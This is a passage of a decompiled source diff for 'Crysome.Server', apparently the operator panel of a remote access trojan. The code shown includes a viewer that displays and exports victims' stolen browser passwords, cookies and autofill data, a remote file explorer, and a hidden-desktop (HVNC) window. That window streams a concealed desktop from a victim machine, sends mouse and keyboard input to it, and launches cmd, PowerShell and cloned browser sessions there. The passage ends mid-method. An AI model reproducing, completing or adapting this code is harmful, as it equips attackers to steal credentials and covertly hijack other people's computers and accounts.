||||
private static void SafeCopy(string text)
|
||||
{
|
||||
try
|
||||
{
|
||||
Clipboard.SetText(text ?? "");
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void ExportBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Exports", _clientDisplayName);
|
||||
Directory.CreateDirectory(text);
|
||||
if (!string.IsNullOrWhiteSpace(_passwordsJson))
|
||||
{
|
||||
File.WriteAllText(Path.Combine(text, "passwords.json"), _passwordsJson, Encoding.UTF8);
|
||||
}
|
||||
if (!string.IsNullOrWhiteSpace(_cookiesJson))
|
||||
{
|
||||
File.WriteAllText(Path.Combine(text, "cookies.json"), _cookiesJson, Encoding.UTF8);
|
||||
}
|
||||
if (!string.IsNullOrWhiteSpace(_autofillsJson))
|
||||
{
|
||||
File.WriteAllText(Path.Combine(text, "autofills.json"), _autofillsJson, Encoding.UTF8);
|
||||
}
|
||||
StatusText.Text = "Exported to " + text;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
StatusText.Text = "Export failed: " + ex.Message;
|
||||
}
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static string ExtractClientName(string title)
|
||||
{
|
||||
if (string.IsNullOrEmpty(title))
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
int num = title.IndexOf(" — ", StringComparison.Ordinal);
|
||||
if (num < 0)
|
||||
{
|
||||
return title;
|
||||
}
|
||||
return title.Substring(num + 3).Trim();
|
||||
}
|
||||
|
||||
private static string SanitizeFolderName(string name)
|
||||
{
|
||||
if (string.IsNullOrEmpty(name))
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
char[] invalid = Path.GetInvalidFileNameChars();
|
||||
return string.Concat(name.Where((char c) => !Enumerable.Contains(invalid, c)));
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/credentialsviewerwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_0098: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00a2: Expected O, but got Unknown
|
||||
//IL_00bc: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00c6: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 2:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
SearchBox = (TextBox)target;
|
||||
SearchBox.TextChanged += SearchBox_TextChanged;
|
||||
break;
|
||||
case 4:
|
||||
ExportBtn = (Button)target;
|
||||
((ButtonBase)(object)ExportBtn).Click += ExportBtn_Click;
|
||||
break;
|
||||
case 5:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 6:
|
||||
MainTabs = (TabControl)target;
|
||||
MainTabs.SelectionChanged += MainTabs_SelectionChanged;
|
||||
break;
|
||||
case 7:
|
||||
PasswordsGrid = (DataGrid)target;
|
||||
break;
|
||||
case 8:
|
||||
((MenuItem)target).Click += CopyPassword_Click;
|
||||
break;
|
||||
case 9:
|
||||
((MenuItem)target).Click += CopyUsername_Click;
|
||||
break;
|
||||
case 10:
|
||||
((MenuItem)target).Click += CopyRow_Click;
|
||||
break;
|
||||
case 11:
|
||||
CookiesGrid = (DataGrid)target;
|
||||
break;
|
||||
case 12:
|
||||
((MenuItem)target).Click += CopyCookieValue_Click;
|
||||
break;
|
||||
case 13:
|
||||
((MenuItem)target).Click += CopyCookieName_Click;
|
||||
break;
|
||||
case 14:
|
||||
((MenuItem)target).Click += CopyCookieRow_Click;
|
||||
break;
|
||||
case 15:
|
||||
AutofillsGrid = (DataGrid)target;
|
||||
break;
|
||||
case 16:
|
||||
StatusText = (TextBlock)target;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using Crysome.Server.ViewModel;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class FileExplorer : UserControl, IComponentConnector, IStyleConnector
|
||||
{
|
||||
internal ListView fileListView;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public FileExplorer()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
private void OnFileEntryClicked(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
((FileExplorerViewModel)base.DataContext).OpenCommand.Execute(string.Empty);
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/fileexplorer.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
if (connectionId == 2)
|
||||
{
|
||||
fileListView = (ListView)target;
|
||||
}
|
||||
else
|
||||
{
|
||||
_contentLoaded = true;
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IStyleConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
if (connectionId == 1)
|
||||
{
|
||||
EventSetter eventSetter = new EventSetter();
|
||||
eventSetter.Event = Control.MouseDoubleClickEvent;
|
||||
eventSetter.Handler = new MouseButtonEventHandler(OnFileEntryClicked);
|
||||
((Style)target).Setters.Add(eventSetter);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,797 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Media.Imaging;
|
||||
using System.Windows.Threading;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.ViewModel;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class HvncWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
private readonly ClientInfo _client;
|
||||
|
||||
private readonly ManageClientsViewModel _vm;
|
||||
|
||||
private int _remoteWidth = 1920;
|
||||
|
||||
private int _remoteHeight = 1080;
|
||||
|
||||
private bool _streaming;
|
||||
|
||||
private byte[] _latestFrame;
|
||||
|
||||
private readonly object _frameLock = new object();
|
||||
|
||||
private bool _updatePending;
|
||||
|
||||
private readonly HashSet<int> _keysDownSent = new HashSet<int>();
|
||||
|
||||
private int _lastSentKeyOrChar;
|
||||
|
||||
private int _lastSentTicks;
|
||||
|
||||
private const int SendThrottleMs = 120;
|
||||
|
||||
private long _lastLeftDownTicks;
|
||||
|
||||
private Point _lastLeftDownPos;
|
||||
|
||||
private bool _suppressSecondLeftDown;
|
||||
|
||||
private const int DoubleClickMs = 400;
|
||||
|
||||
private const double DoubleClickMaxDistance = 10.0;
|
||||
|
||||
private int _frameCount;
|
||||
|
||||
private long _fpsTickStart;
|
||||
|
||||
private DispatcherTimer _fpsTimer;
|
||||
|
||||
private const int WM_MOUSEMOVE = 512;
|
||||
|
||||
private const int WM_LBUTTONDOWN = 513;
|
||||
|
||||
private const int WM_LBUTTONUP = 514;
|
||||
|
||||
private const int WM_LBUTTONDBLCLK = 515;
|
||||
|
||||
private const int WM_RBUTTONDOWN = 516;
|
||||
|
||||
private const int WM_RBUTTONUP = 517;
|
||||
|
||||
private const int WM_KEYDOWN = 256;
|
||||
|
||||
private const int WM_KEYUP = 257;
|
||||
|
||||
private const int WM_CHAR = 258;
|
||||
|
||||
private const int VK_SHIFT = 16;
|
||||
|
||||
private const int VK_CAPITAL = 20;
|
||||
|
||||
private const int VK_BACK = 8;
|
||||
|
||||
private const int VK_TAB = 9;
|
||||
|
||||
private const int VK_RETURN = 13;
|
||||
|
||||
private const int VK_ESCAPE = 27;
|
||||
|
||||
private const int VK_PRIOR = 33;
|
||||
|
||||
private const int VK_NEXT = 34;
|
||||
|
||||
private const int VK_END = 35;
|
||||
|
||||
private const int VK_HOME = 36;
|
||||
|
||||
private const int VK_LEFT = 37;
|
||||
|
||||
private const int VK_UP = 38;
|
||||
|
||||
private const int VK_RIGHT = 39;
|
||||
|
||||
private const int VK_DOWN = 40;
|
||||
|
||||
private const int VK_INSERT = 45;
|
||||
|
||||
private const int VK_DELETE = 46;
|
||||
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal Button StartBtn;
|
||||
|
||||
internal Button StopBtn;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal Viewbox HvncViewbox;
|
||||
|
||||
internal Image HvncImage;
|
||||
|
||||
internal ToggleSwitch CloneControlSwitch;
|
||||
|
||||
internal ToggleSwitch MouseControlSwitch;
|
||||
|
||||
internal ToggleSwitch KeyboardControlSwitch;
|
||||
|
||||
internal TextBlock StatusText;
|
||||
|
||||
internal TextBlock FpsText;
|
||||
|
||||
internal Slider IntervalSlider;
|
||||
|
||||
internal TextBlock IntervalLabel;
|
||||
|
||||
internal ComboBox QualityCombo;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern short GetKeyState(int nVirtKey);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool GetKeyboardState(byte[] lpKeyState);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern uint MapVirtualKey(uint uCode, uint uMapType);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern int ToAscii(uint uVirtKey, uint uScanCode, byte[] lpKeyState, out uint lpChar, uint uFlags);
|
||||
|
||||
public HvncWindow(ClientInfo client, ManageClientsViewModel vm)
|
||||
{
|
||||
InitializeComponent();
|
||||
_client = client;
|
||||
_vm = vm;
|
||||
((Window)this).Title = "HVNC — " + (client?.Address ?? "?");
|
||||
TitleText.Text = ((Window)this).Title;
|
||||
IntervalSlider.ValueChanged += delegate
|
||||
{
|
||||
IntervalLabel.Text = (int)IntervalSlider.Value + "ms";
|
||||
};
|
||||
((Window)this).Closed += delegate
|
||||
{
|
||||
DispatcherTimer fpsTimer = _fpsTimer;
|
||||
if (fpsTimer != null)
|
||||
{
|
||||
fpsTimer.Stop();
|
||||
}
|
||||
if (_streaming)
|
||||
{
|
||||
_vm.StopHvnc(_client);
|
||||
}
|
||||
_vm.UnregisterHvncFrames(_client);
|
||||
};
|
||||
}
|
||||
|
||||
private void StartBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
//IL_00d8: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00dd: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00ef: Expected O, but got Unknown
|
||||
_streaming = true;
|
||||
_frameCount = 0;
|
||||
_fpsTickStart = Environment.TickCount64;
|
||||
((UIElement)(object)StartBtn).IsEnabled = false;
|
||||
((UIElement)(object)StopBtn).IsEnabled = true;
|
||||
StatusText.Text = "Streaming hidden desktop. Click on image to control.";
|
||||
HvncImage.Focus();
|
||||
int quality = QualityCombo?.SelectedIndex switch
|
||||
{
|
||||
0 => 100,
|
||||
1 => 90,
|
||||
2 => 75,
|
||||
3 => 50,
|
||||
4 => 25,
|
||||
_ => 10,
|
||||
};
|
||||
int intervalMs = (int)(IntervalSlider?.Value ?? 80.0);
|
||||
_fpsTimer = new DispatcherTimer
|
||||
{
|
||||
Interval = TimeSpan.FromSeconds(1L)
|
||||
};
|
||||
_fpsTimer.Tick += delegate
|
||||
{
|
||||
FpsText.Text = _frameCount + " FPS";
|
||||
_frameCount = 0;
|
||||
};
|
||||
_fpsTimer.Start();
|
||||
_vm.StartHvnc(_client, quality, intervalMs, delegate(byte[] imageData)
|
||||
{
|
||||
if (imageData != null && imageData.Length != 0)
|
||||
{
|
||||
Interlocked.Increment(ref _frameCount);
|
||||
lock (_frameLock)
|
||||
{
|
||||
_latestFrame = imageData;
|
||||
}
|
||||
if (!_updatePending)
|
||||
{
|
||||
_updatePending = true;
|
||||
((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)new Action(ApplyLatestFrame), (DispatcherPriority)4, Array.Empty<object>());
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void ApplyLatestFrame()
|
||||
{
|
||||
byte[] latestFrame;
|
||||
lock (_frameLock)
|
||||
{
|
||||
_updatePending = false;
|
||||
latestFrame = _latestFrame;
|
||||
}
|
||||
if (latestFrame == null || latestFrame.Length == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
BitmapImage bitmapImage = new BitmapImage();
|
||||
bitmapImage.BeginInit();
|
||||
bitmapImage.StreamSource = new MemoryStream(latestFrame);
|
||||
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
|
||||
bitmapImage.EndInit();
|
||||
((Freezable)bitmapImage).Freeze();
|
||||
_remoteWidth = bitmapImage.PixelWidth;
|
||||
_remoteHeight = bitmapImage.PixelHeight;
|
||||
HvncImage.Source = bitmapImage;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void StopBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_streaming = false;
|
||||
DispatcherTimer fpsTimer = _fpsTimer;
|
||||
if (fpsTimer != null)
|
||||
{
|
||||
fpsTimer.Stop();
|
||||
}
|
||||
_fpsTimer = null;
|
||||
FpsText.Text = "";
|
||||
_keysDownSent.Clear();
|
||||
_lastSentKeyOrChar = 0;
|
||||
_lastSentTicks = 0;
|
||||
((UIElement)(object)StartBtn).IsEnabled = true;
|
||||
((UIElement)(object)StopBtn).IsEnabled = false;
|
||||
_vm.StopHvnc(_client);
|
||||
_vm.UnregisterHvncFrames(_client);
|
||||
lock (_frameLock)
|
||||
{
|
||||
_latestFrame = null;
|
||||
}
|
||||
HvncImage.Source = null;
|
||||
StatusText.Text = "Stopped.";
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void ImageToRemoteCoords(Point p, out int x, out int y)
|
||||
{
|
||||
double actualWidth = HvncImage.ActualWidth;
|
||||
double actualHeight = HvncImage.ActualHeight;
|
||||
if (actualWidth <= 0.0 || actualHeight <= 0.0 || _remoteWidth <= 0 || _remoteHeight <= 0)
|
||||
{
|
||||
x = 0;
|
||||
y = 0;
|
||||
return;
|
||||
}
|
||||
double num = Math.Min(actualWidth / (double)_remoteWidth, actualHeight / (double)_remoteHeight);
|
||||
double num2 = (double)_remoteWidth * num;
|
||||
double num3 = (double)_remoteHeight * num;
|
||||
double num4 = (actualWidth - num2) / 2.0;
|
||||
double num5 = (actualHeight - num3) / 2.0;
|
||||
x = (int)((p.X - num4) / num);
|
||||
y = (int)((p.Y - num5) / num);
|
||||
if (x < 0)
|
||||
{
|
||||
x = 0;
|
||||
}
|
||||
if (x >= _remoteWidth)
|
||||
{
|
||||
x = _remoteWidth - 1;
|
||||
}
|
||||
if (y < 0)
|
||||
{
|
||||
y = 0;
|
||||
}
|
||||
if (y >= _remoteHeight)
|
||||
{
|
||||
y = _remoteHeight - 1;
|
||||
}
|
||||
}
|
||||
|
||||
private static int MakeLParam(int x, int y)
|
||||
{
|
||||
return (y << 16) | (x & 0xFFFF);
|
||||
}
|
||||
|
||||
private void HvncImage_MouseMove(object sender, MouseEventArgs e)
|
||||
{
|
||||
//IL_0030: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (_streaming)
|
||||
{
|
||||
ToggleSwitch mouseControlSwitch = MouseControlSwitch;
|
||||
if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true)
|
||||
{
|
||||
ImageToRemoteCoords(e.GetPosition(HvncImage), out var x, out var y);
|
||||
_vm.SendHvncInput(_client, 512, 0, MakeLParam(x, y));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void HvncImage_MouseDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
//IL_003b: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0040: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0042: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_009d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_009e: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_006c: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_006e: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0073: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0078: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (!_streaming)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ToggleSwitch mouseControlSwitch = MouseControlSwitch;
|
||||
if (mouseControlSwitch == null || ((ToggleButton)(object)mouseControlSwitch).IsChecked != true)
|
||||
{
|
||||
return;
|
||||
}
|
||||
HvncImage.Focus();
|
||||
Point position = e.GetPosition(HvncImage);
|
||||
ImageToRemoteCoords(position, out var x, out var y);
|
||||
if (e.ChangedButton == MouseButton.Left)
|
||||
{
|
||||
long tickCount = Environment.TickCount64;
|
||||
if (tickCount - _lastLeftDownTicks < 400)
|
||||
{
|
||||
Vector val = position - _lastLeftDownPos;
|
||||
if (val.Length < 10.0)
|
||||
{
|
||||
_suppressSecondLeftDown = true;
|
||||
return;
|
||||
}
|
||||
}
|
||||
_lastLeftDownTicks = tickCount;
|
||||
_lastLeftDownPos = position;
|
||||
_vm.SendHvncInput(_client, 513, 0, MakeLParam(x, y));
|
||||
}
|
||||
else
|
||||
{
|
||||
_vm.SendHvncInput(_client, 516, 0, MakeLParam(x, y));
|
||||
}
|
||||
}
|
||||
|
||||
private void HvncImage_MouseUp(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
//IL_0030: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (!_streaming)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ToggleSwitch mouseControlSwitch = MouseControlSwitch;
|
||||
if (mouseControlSwitch == null || ((ToggleButton)(object)mouseControlSwitch).IsChecked != true)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ImageToRemoteCoords(e.GetPosition(HvncImage), out var x, out var y);
|
||||
if (e.ChangedButton == MouseButton.Left)
|
||||
{
|
||||
if (_suppressSecondLeftDown)
|
||||
{
|
||||
_suppressSecondLeftDown = false;
|
||||
_vm.SendHvncInput(_client, 515, 0, MakeLParam(x, y));
|
||||
_vm.SendHvncInput(_client, 514, 0, MakeLParam(x, y));
|
||||
}
|
||||
else
|
||||
{
|
||||
_vm.SendHvncInput(_client, 514, 0, MakeLParam(x, y));
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
_vm.SendHvncInput(_client, 517, 0, MakeLParam(x, y));
|
||||
}
|
||||
}
|
||||
|
||||
private static int GetModifiedChar(int vk)
|
||||
{
|
||||
GetKeyState(0);
|
||||
byte[] lpKeyState = new byte[256];
|
||||
if (!GetKeyboardState(lpKeyState))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
uint uScanCode = MapVirtualKey((uint)vk, 0u);
|
||||
if (ToAscii((uint)vk, uScanCode, lpKeyState, out var lpChar, 0u) == 1)
|
||||
{
|
||||
return (int)lpChar;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
private static bool IsControlKey(int vk)
|
||||
{
|
||||
if (vk != 8 && vk != 9 && vk != 13 && vk != 27 && vk != 33 && vk != 34 && vk != 35 && vk != 36 && vk != 37 && vk != 38 && vk != 39 && vk != 40 && vk != 45)
|
||||
{
|
||||
return vk == 46;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
private void SendKeyToHvnc(KeyEventArgs e, bool isKeyDown)
|
||||
{
|
||||
//IL_0029: Unknown result type (might be due to invalid IL or missing references)
|
||||
if (!_streaming)
|
||||
{
|
||||
return;
|
||||
}
|
||||
ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
|
||||
if (keyboardControlSwitch == null || ((ToggleButton)(object)keyboardControlSwitch).IsChecked != true)
|
||||
{
|
||||
return;
|
||||
}
|
||||
int num = KeyInterop.VirtualKeyFromKey(e.Key);
|
||||
if (num == 16 || num == 20)
|
||||
{
|
||||
return;
|
||||
}
|
||||
if (isKeyDown)
|
||||
{
|
||||
_keysDownSent.Add(num);
|
||||
}
|
||||
else
|
||||
{
|
||||
if (!_keysDownSent.Remove(num))
|
||||
{
|
||||
return;
|
||||
}
|
||||
int tickCount = Environment.TickCount;
|
||||
if (IsControlKey(num))
|
||||
{
|
||||
if ((uint)(tickCount - _lastSentTicks) >= 120u || _lastSentKeyOrChar != num)
|
||||
{
|
||||
_lastSentKeyOrChar = num;
|
||||
_lastSentTicks = tickCount;
|
||||
_vm.SendHvncInput(_client, 256, num, 0);
|
||||
_vm.SendHvncInput(_client, 257, num, 0);
|
||||
}
|
||||
return;
|
||||
}
|
||||
int modifiedChar = GetModifiedChar(num);
|
||||
if (modifiedChar >= 32)
|
||||
{
|
||||
if ((uint)(tickCount - _lastSentTicks) >= 120u || _lastSentKeyOrChar != modifiedChar + 65536)
|
||||
{
|
||||
_lastSentKeyOrChar = modifiedChar + 65536;
|
||||
_lastSentTicks = tickCount;
|
||||
_vm.SendHvncInput(_client, 258, modifiedChar, 0);
|
||||
}
|
||||
}
|
||||
else if ((uint)(tickCount - _lastSentTicks) >= 120u || _lastSentKeyOrChar != num)
|
||||
{
|
||||
_lastSentKeyOrChar = num;
|
||||
_lastSentTicks = tickCount;
|
||||
_vm.SendHvncInput(_client, 256, num, 0);
|
||||
_vm.SendHvncInput(_client, 257, num, 0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void HvncImage_PreviewKeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
SendKeyToHvnc(e, isKeyDown: true);
|
||||
}
|
||||
|
||||
private void HvncImage_PreviewKeyUp(object sender, KeyEventArgs e)
|
||||
{
|
||||
SendKeyToHvnc(e, isKeyDown: false);
|
||||
}
|
||||
|
||||
private void Window_PreviewKeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (_streaming)
|
||||
{
|
||||
ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
|
||||
if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true)
|
||||
{
|
||||
SendKeyToHvnc(e, isKeyDown: true);
|
||||
e.Handled = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void Window_PreviewKeyUp(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (_streaming)
|
||||
{
|
||||
ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch;
|
||||
if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true)
|
||||
{
|
||||
SendKeyToHvnc(e, isKeyDown: false);
|
||||
e.Handled = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void RunExplorer_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_vm.SendHvncRunRequest(_client, 0);
|
||||
}
|
||||
|
||||
private void RunRunDialog_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_vm.SendHvncRunRequest(_client, 1);
|
||||
}
|
||||
|
||||
private void RunCmd_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_vm.SendHvncRunRequest(_client, 2);
|
||||
}
|
||||
|
||||
private void RunPowerShell_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_vm.SendHvncRunRequest(_client, 3);
|
||||
}
|
||||
|
||||
private void RunChrome_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
ManageClientsViewModel vm = _vm;
|
||||
ClientInfo client = _client;
|
||||
ToggleSwitch cloneControlSwitch = CloneControlSwitch;
|
||||
vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 11 : 4));
|
||||
}
|
||||
|
||||
private void RunEdge_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
ManageClientsViewModel vm = _vm;
|
||||
ClientInfo client = _client;
|
||||
ToggleSwitch cloneControlSwitch = CloneControlSwitch;
|
||||
vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 12 : 5));
|
||||
}
|
||||
|
||||
private void RunFirefox_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
ManageClientsViewModel vm = _vm;
|
||||
ClientInfo client = _client;
|
||||
ToggleSwitch cloneControlSwitch = CloneControlSwitch;
|
||||
vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 13 : 6));
|
||||
}
|
||||
|
||||
private void RunOpera_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
ManageClientsViewModel vm = _vm;
|
||||
ClientInfo client = _client;
|
||||
ToggleSwitch cloneControlSwitch = CloneControlSwitch;
|
||||
vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 14 : 7));
|
||||
}
|
||||
|
||||
private void RunOperaGX_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
ManageClientsViewModel vm = _vm;
|
||||
ClientInfo client = _client;
|
||||
ToggleSwitch cloneControlSwitch = CloneControlSwitch;
|
||||
vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 15 : 8));
|
||||
}
|
||||
|
||||
private void RunBrave_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
ManageClientsViewModel vm = _vm;
|
||||
ClientInfo client = _client;
|
||||
ToggleSwitch cloneControlSwitch = CloneControlSwitch;
|
||||
vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 16 : 9));
|
||||
}
|
||||
|
||||
private void RunNotepad_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_vm.SendHvncRunRequest(_client, 17);
|
||||
}
|
||||
|
||||
private void RunCalculator_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_vm.SendHvncRunRequest(_client, 18);
|
||||
}
|
||||
|
||||
private void RunDiscord_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_vm.SendHvncRunRequest(_client, 19);
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/hvncwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_00d7: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00e1: Expected O, but got Unknown
|
||||
//IL_00fb: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0105: Expected O, but got Unknown
|
||||
//IL_011f: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0129: Expected O, but got Unknown
|
||||
//IL_01fd: Unknown result type (might be due to invalid IL or missing references)
|
||||
